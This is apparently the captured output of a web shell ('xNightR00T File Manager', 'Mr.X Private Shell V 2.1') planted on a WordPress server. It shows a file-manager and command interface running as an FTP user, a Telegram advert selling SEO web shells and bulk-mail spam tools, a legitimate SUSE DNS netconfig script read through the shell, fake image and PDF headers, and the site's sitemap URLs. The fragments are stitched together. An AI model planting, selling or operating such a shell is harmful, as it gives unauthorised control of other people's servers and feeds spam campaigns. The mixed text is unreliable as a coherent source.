xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
#!/bin/bash
#
# Copyright (c) 2008 SUSE LINUX Products GmbH, Nuernberg, Germany.
# This program is free software; you can redistribute it and/or modify it under
# the terms of the GNU General Public License as published by the Free Software
# Foundation; either version 2 of the License, or (at your option) any later
# version.
#
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
# FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
# details.
#
# You should have received a copy of the GNU General Public License along with
# this program.  If not, see <http://www.gnu.org/licenses/>.
#
# Author: Michael Calmer <mc@suse.de>
#         Marius Tomaschewski <mt@suse.de>
#
##

unset POSIXLY_CORRECT ; set +o posix # we are using non-posix bash features

# The environment variable ROOT indicates the root of the system to be
# managed by SuSEconfig when that root is not '/'
r="$ROOT"

. "$r/etc/sysconfig/network/scripts/functions.netconfig"

PROGNAME="${0##*/}"
if test "$UID" != "0" -a "$USER" != root -a -z "$ROOT" ; then
    warn "You must be root to start $0." >&2
    exit 1
fi

STATEDIR="$r/var/run/netconfig"
debug "$PROGNAME module called"

. "$r/etc/sysconfig/network/config"

unset DNS_SEARCHLIST ${!DNS_SEARCHLIST_*}
unset DNS_SERVERS ${!DNS_SERVERS_*}

DESTFILE="$r/etc/resolv.conf"
TMP_FILE=""

# *********************
# FUNCTIONS 
# *********************

function write_resolv_conf()
{
    #
    # empty search list is a valid value
    #
    #test -z "$1" && return 1
    #
    # empty nameserver is a valid value too
    # (empty at least in the forwarder mode)
    #
    #test -z "$2" && return 1

    debug "write_resolv_conf: '$1' '$2'"

    local SEARCHLIST=()
    local NAMESERVER=()

    # DESTFILE may be a symlink on a read only /-fs
    DST_FILE=`read_symlink "${DESTFILE}"`
    TMP_FILE=`mktemp "${DST_FILE}.XXXXXX" 2>/dev/null || \
              mktemp -t "${DST_FILE##*/}.XXXXXX"` || return 1

    if test ! -s "$DST_FILE" ; then
        touch "$DST_FILE"  ; chmod 644 "$DST_FILE"
    fi

    # * copy dest => tmp to get the file attributes
    # * remove the content 
    # * print a warning on top of this file
    #cp -p "$DST_FILE" "$TMP_FILE"

    # set explicit mode on tmp file instead to preserve the
    # mode of original file that can be wrong (bnc#428458)
    chmod 644 "$TMP_FILE"

    cat << EOT > "$TMP_FILE"
### $DESTFILE file autogenerated by netconfig!
#
# Before you change this file manually, consider to define the
# static DNS configuration using the following variables in the
# /etc/sysconfig/network/config file:
#     NETCONFIG_DNS_STATIC_SEARCHLIST
#     NETCONFIG_DNS_STATIC_SERVERS
#     NETCONFIG_DNS_FORWARDER
# or disable DNS configuration updates via netconfig by setting:
#     NETCONFIG_DNS_POLICY=''
#
# See also the netconfig(8) manual page and other documentation.
#
# Note: Manual change of this file disables netconfig too, but
# may get lost when this file contains comments or empty lines
# only, the netconfig settings are same with settings in this
# file and in case of a "netconfig update -f" call.
#
### Please remove (at least) this line when you modify the file!
EOT

    if [ "X$NETCONFIG_DNS_RESOLVER_OPTIONS" != "X" ] ; then
        echo "options $NETCONFIG_DNS_RESOLVER_OPTIONS" >> "$TMP_FILE"
    fi

    if [ "X$NETCONFIG_DNS_RESOLVER_SORTLIST" != "X" ] ; then
        echo "sortlist $NETCONFIG_DNS_RESOLVER_SORTLIST" >> "$TMP_FILE"
    fi

    for nd in $1; do
        # strip trailing dot added by dhcp 4.x dhclient(6)
        [ "x$nd" != "x." ] && nd="${nd%.}"
        test "x$nd" = x && continue

        # skip duplicates
        for od in ${SEARCHLIST[@]} ; do
            [ "x$nd" == "x$od" ] && continue 2
        done

        # resolv.conf supports up to 6 domains
        [ ${#SEARCHLIST[@]} -lt 6 ] || break

        SEARCHLIST=(${SEARCHLIST[@]} ${nd})
    done

    if [ ${#SEARCHLIST[@]} -gt 0 ]; then
        {
            echo "search ${SEARCHLIST[@]}"
        } >> "$TMP_FILE"
    fi

    for ns in $2; do
        # skip duplicates
        for os in ${NAMESERVER[@]} ; do
            [ "x$ns" == "x$os" ] && continue 2
        done

        # resolv.conf supports up to 3 nameserver
        [ ${#NAMESERVER[@]} -lt 3 ] || break

        NAMESERVER=(${NAMESERVER[@]} ${ns})
    done
    if [ ${#NAMESERVER[@]} -gt 0 ]; then
        {
            for ns in ${NAMESERVER[@]}; do
                echo "nameserver $ns"
            done
        } >> "$TMP_FILE"
    fi

    netconfig_check_md5_and_move "$TMP_FILE" "$DESTFILE" ".netconfig" TMP_FILE
    return $?
}

function get_dns_settings()
{
    local cfg=$1 ; shift
    test "x$cfg" = x && return 1

    local SERVICE DNSSEARCH DNSDOMAIN DNSSERVERS
    local var idx DNS_SEARCHLIST DNS_SERVERS

    debug "exec get_dns_settings: $cfg"

    get_variable "SERVICE" "$cfg"
    idx=`get_ranking_idx "$SERVICE" "$@"`
    debug "     get_dns_settings: service '$SERVICE' => rank '$idx'"

    var="DNS_SEARCHLIST_$idx"
    DNS_SEARCHLIST=(${!var})
    get_variable "DNSSEARCH" "$cfg"
    if [ "x$DNSSEARCH" != "x" ]; then
        DNS_SEARCHLIST=(${DNS_SEARCHLIST[@]} $DNSSEARCH)
    else
        get_variable "DNSDOMAIN" "$cfg"
        if [ "x$DNSDOMAIN" != "x" ]; then
            DNS_SEARCHLIST=(${DNS_SEARCHLIST[@]} $DNSDOMAIN)
        else
            local H=$HOSTNAME
            local HOSTNAME
            get_variable "HOSTNAME" "$cfg"
            HOSTNAME="${HOSTNAME%.}"
            if [ "x$HOSTNAME" != "x" -a "x${HOSTNAME#*.}" != "x" \
                 -a "${HOSTNAME#*.}" != "${HOSTNAME}" ] ; then
		DNS_SEARCHLIST=(${DNS_SEARCHLIST[@]} "${HOSTNAME#*.}")
            fi
	    HOSTNAME=$H
        fi
    fi
    unset DNSSEARCH DNSDOMAIN
    eval "${var}='${DNS_SEARCHLIST[@]}'"
    debug "     get_dns_settings: ${var}='${!var}'"

    var="DNS_SERVERS_$idx"
    DNS_SERVERS=(${!var})
    get_variable "DNSSERVERS" "$cfg"
    if [ "x$DNSSERVERS" != "x" ]; then
        DNS_SERVERS=(${DNS_SERVERS[@]} $DNSSERVERS)
    fi
    unset DNSSERVERS
    eval "${var}='${DNS_SERVERS[@]}'"
    debug "     get_dns_settings: ${var}='${!var}'"

    debug "exit get_dns_settings: $cfg"
    return 0
}

function manage_interfaceconfig()
{
    local cfg dir="$1" ; shift
    test "x$dir" != x -a -d "$dir" || return 1

    debug "exec manage_interfaceconfig: $dir"
    for cfg in `ls -X -r "$dir/" 2>/dev/null`; do
        get_dns_settings "$dir/$cfg" "$@"
    done
    debug "exit manage_interfaceconfig: $dir"
    return 0
}

# *********************
# EXECUTION STARTS HERE
# *********************

# just for the case we need the original value...
_NETCONFIG_DNS_RANKING="$NETCONFIG_DNS_RANKING"
case "$_NETCONFIG_DNS_RANKING" in
  auto) _NETCONFIG_DNS_RANKING="$NETCONFIG_DNS_RANKING_DEFAULT" ;;
  none) _NETCONFIG_DNS_RANKING=""                               ;;
esac

# just for the case we need the original value...
_NETCONFIG_DNS_POLICY=`netconfig_policy "$NETCONFIG_DNS_POLICY" dns`
if [ "x$_NETCONFIG_DNS_POLICY" = "x" ]; then
    #
    # empty policy means do not touch anything. 
    # successful exit.
    #
    exit 0;
fi

sf=0
_g=1
# disable filename glob expansion if needed
shopt -o -q noglob || _g=0
[ $_g ] && shopt -o -s noglob
for POL in $_NETCONFIG_DNS_POLICY; do
    shopt -o -u noglob
    case "$POL" in
    (NetworkManager)
        debug "Use NetworkManager policy merged settings"
        cfg="$STATEDIR/NetworkManager.netconfig"
        if [ -r "$cfg" ] ; then
            get_dns_settings "$cfg" "$_NETCONFIG_DNS_RANKING"
        fi
        break
    ;;
    (STATIC)
        debug "Keep Static"
        DNS_SEARCHLIST_1="$DNS_SEARCHLIST_1 $NETCONFIG_DNS_STATIC_SEARCHLIST"
        DNS_SERVERS_1="$DNS_SERVERS_1 $NETCONFIG_DNS_STATIC_SERVERS"
    ;;
    (STATIC_FALLBACK)
        debug "Static Fallback"
        sf=1
    ;;
    (*)
        debug "Other: $POL"
        for IFDIR in $STATEDIR/$POL; do
            test -d "$IFDIR" -a \
                 -d "/sys/class/net/${IFDIR##*/}" || continue
            # proceed every interface we find with this match
            manage_interfaceconfig  "$IFDIR" "$_NETCONFIG_DNS_RANKING"
        done
    ;;
    esac
done
[ $_g ] && shopt -o -u noglob

if [ $sf -eq 1 -a -z "$DNS_SEARCHLIST_0" \
	       -a -z "$DNS_SEARCHLIST_1" ] ; then
    DNS_SEARCHLIST_2="$DNS_SEARCHLIST_2 $NETCONFIG_DNS_STATIC_SEARCHLIST"
fi
if [ $sf -eq 1 -a -z "$DNS_SERVERS_0" \
	       -a -z "$DNS_SERVERS_1" ] ; then
    DNS_SERVERS_2="$DNS_SERVERS_2 $NETCONFIG_DNS_STATIC_SERVERS"
fi

# check if a nameserver module is used.
# If yes, don't write nameserver. glibc is using
# the name server on the local machine then ...
if [ "$NETCONFIG_DNS_FORWARDER" != "resolver" -a \
     "$NETCONFIG_DNS_FORWARDER" != "" ]; then
    # write explicitly specified loopback addresses (when any);
    # everything else will go into the forwarder specific config.
    lns=()
    rns_0=""
    rns_1=""
    rns_2=""
    for idx in 0 1 2 ; do
        var="DNS_SERVERS_$idx"
        val=(${!var})
        rns=()
        for ns in ${val[*]} ; do
            case $ns in
            127.*|::1) lns+=("$ns") ;;
            *)         rns+=("$ns") ;;
            esac
        done
        unset $var
        eval "rns_$idx='${rns[*]}'"
    done
    # fallback requires a localhost address, set when needed
    if  test "$NETCONFIG_DNS_FORWARDER_FALLBACK" = yes ;
    then
        test ${#lns[@]} -le 0 && lns=(127.0.0.1)
    fi
    # apply localhost addresses + fallback name servers
    if  test ${#lns[@]} -gt 0 ; then
       # local addresses have top prioriry in forwarder modes
       DNS_SERVERS_0="${lns[*]} $rns_0"
       DNS_SERVERS_1="$rns_1"
       DNS_SERVERS_2="$rns_2"
    fi
fi

write_resolv_conf "$DNS_SEARCHLIST_0 $DNS_SEARCHLIST_1 $DNS_SEARCHLIST_2" \
                  "$DNS_SERVERS_0 $DNS_SERVERS_1 $DNS_SERVERS_2"
RET=$?

if [ $RET -eq 1 ]; then
    # nothing changed; we are finished
    exit 0
elif [ $RET -eq 2 ]; then
   # user modified the config. Copy aborted
    echo "ATTENTION: You have modified $DESTFILE.  Leaving it untouched..."
    echo "You can find my version in $TMP_FILE ..."
    exit 20
fi

# here we should restart services if needed
# => not applicable to reload anything

exit 0;

# vim: set ts=8 sts=4 sw=4 ai et:

Filemanager

Name Type Size Permission Actions
dns-bind File 7.55 KB 0755
dns-dnsmasq File 7.54 KB 0755
dns-resolver File 10.11 KB 0755
nis File 12.34 KB 0755
ntp-runtime File 7.43 KB 0755
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml